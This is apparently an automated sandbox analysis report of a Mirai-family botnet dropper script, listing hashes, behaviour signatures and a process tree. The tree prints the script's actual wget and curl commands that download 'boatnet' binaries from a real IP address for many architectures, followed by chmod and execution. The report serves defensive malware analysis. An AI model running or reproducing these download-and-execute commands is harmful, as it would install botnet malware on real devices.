Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    30-12-2024 16:46

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    7e24e03c8d6c1bafbc85a32aa065853f

  • SHA1

    1399f7b9e79afa7fb910eb61f8e7d10b36c64310

  • SHA256

    938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c

  • SHA512

    0975c2aaae90e309467a37d38bdb48790c56c7efdfe9ad82a69c93d8cd2d25f4eee4e741222b1d455e04913e69380d52f81efe6c1b025e9ef1fd872a0fcac521

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 30 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Unexpected DNS network traffic destination 43 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 30 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:1503
    • /usr/bin/wget
      wget http://154.216.17.216/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1504
    • /usr/bin/curl
      curl -O http://154.216.17.216/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1516
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:1517
      • /bin/chmod
        chmod +x boatnet.x86 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-bolt.service-fYa9Yu systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-timedated.service-PFxUxZ WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1518
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1519
      • /usr/bin/wget
        wget http://154.216.17.216/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1523
      • /usr/bin/curl
        curl -O http://154.216.17.216/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1524
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-bolt.service-fYa9Yu systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-timedated.service-PFxUxZ WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1526
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1527
      • /usr/bin/wget
        wget http://154.216.17.216/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1531
      • /usr/bin/curl
        curl -O http://154.216.17.216/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1544
      • /bin/chmod
        chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-bolt.service-ng3g0d systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1578
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1579
      • /usr/bin/wget
        wget http://154.216.17.216/hiddenbin/boatnet.i468
        2⤵
          PID:1583
        • /usr/bin/curl
          curl -O http://154.216.17.216/hiddenbin/boatnet.i468
          2⤵
          • Writes file to tmp directory
          PID:1584
        • /bin/chmod
          chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-bolt.service-ng3g0d systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea WTF
          2⤵
          • File and Directory Permissions Modification
          PID:1586
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1587
        • /usr/bin/wget
          wget http://154.216.17.216/hiddenbin/boatnet.i686
          2⤵
            PID:1591
          • /usr/bin/curl
            curl -O http://154.216.17.216/hiddenbin/boatnet.i686
            2⤵
            • Writes file to tmp directory
            PID:1592
          • /bin/chmod
            chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-bolt.service-ng3g0d systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1594
          • /tmp/WTF
            ./WTF
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1595
          • /usr/bin/wget
            wget http://154.216.17.216/hiddenbin/boatnet.x86_64
            2⤵
              PID:1599
            • /usr/bin/curl
              curl -O http://154.216.17.216/hiddenbin/boatnet.x86_64
              2⤵
              • Writes file to tmp directory
              PID:1600
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-bolt.service-ng3g0d systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1602
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1603
            • /usr/bin/wget
              wget http://154.216.17.216/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1607
            • /usr/bin/curl
              curl -O http://154.216.17.216/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1620
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-bolt.service-ZGUEam systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1622
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1623
            • /usr/bin/wget
              wget http://154.216.17.216/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1627
            • /usr/bin/curl
              curl -O http://154.216.17.216/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1628
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1632
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1633
            • /usr/bin/wget
              wget http://154.216.17.216/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1637
            • /usr/bin/curl
              curl -O http://154.216.17.216/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1642
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1646
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1647
            • /usr/bin/wget
              wget http://154.216.17.216/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1651
            • /usr/bin/curl
              curl -O http://154.216.17.216/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1656
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-bolt.service-HoKljy systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1658
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1659
            • /usr/bin/wget
              wget http://154.216.17.216/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1663
            • /usr/bin/curl
              curl -O http://154.216.17.216/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1666
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1668
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1669
            • /usr/bin/wget
              wget http://154.216.17.216/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1673
            • /usr/bin/curl
              curl -O http://154.216.17.216/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1674
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1676
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1677
            • /usr/bin/wget
              wget http://154.216.17.216/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1681
            • /usr/bin/curl
              curl -O http://154.216.17.216/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1682
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1684
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1685
            • /usr/bin/wget
              wget http://154.216.17.216/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1689
            • /usr/bin/curl
              curl -O http://154.216.17.216/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1690
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1718
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1719
            • /usr/bin/wget
              wget http://154.216.17.216/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1723
            • /usr/bin/curl
              curl -O http://154.216.17.216/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1724
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1726
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1727

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • /tmp/boatnet.x86

            Filesize

            28KB

            MD5

            d2610e796559edd586be4f3cfea659da

            SHA1

            67ac4e25ed9856b839f2b11c32e758766a140e23

            SHA256

            75754fcc1c6ecbdee1bc04eb2e4a986d6fb12a63e8a6b663a012ff41b031aef6

            SHA512

            910228016a57f6c76fcf29e7bd0a4d79a6772cda30489b99d9a10b92a00f56fc6829b35460ee09bc99c9fa7dc9607763dd01f39c0730c9975988c595c58bdf7a